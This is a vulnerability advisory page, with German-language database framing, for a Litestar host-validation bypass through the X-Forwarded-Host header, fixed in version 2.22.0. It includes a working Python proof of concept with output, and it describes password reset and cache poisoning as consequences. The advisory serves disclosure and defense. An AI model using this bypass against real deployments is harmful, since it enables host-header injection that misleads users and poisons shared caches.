Mittel

Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header

  • Veröffentlicht: 10.06.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

python
headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for:

  • Generating password reset links (Host header injection → link points to attacker domain)
  • Cache key generation (cache poisoning)
  • Routing or backend selection decisions

PoC

python
"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) litestar < 2.22.0 2.22.0

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Schwäche (CWE)
CWE-348, CWE-807
Plattform
Python (PyPI)
Paket
litestar
Veröffentlicht
10.06.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2603 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-3qmc-cj7q-62hv - CC BY 4.0

Schwachstellenhistorie: litestar

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (9) im Archiv
Einträge insgesamt
9
Erste → letzte
05.2024 06.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 5
  • Mittel 3
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2024: 2
  2. 2025: 2
  3. 2026: 5
Schweregrad:
  1. Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header dieser Eintrag
    Mittel · 5.9 CVE-2026-48061 < 2.22.0 2.22.0
  2. Hoch · 8.1 CVE-2026-48060 < 2.22.0 2.22.0
  3. Hoch · 7.5 CVE-2025-59152 >= 2.17.0, < 2.18.0 2.18.0
  4. Hoch · 7.5 CVE-2024-52581 < 2.13.0 2.13.0
  5. Hoch · 8.2 CVE-2024-32982 >= 2.8.0, < 2.8.3, >= 2.7.0, < 2.7.2, >= 2.0.0, < 2.6.4 2.8.3, 2.7.2, 2.6.4

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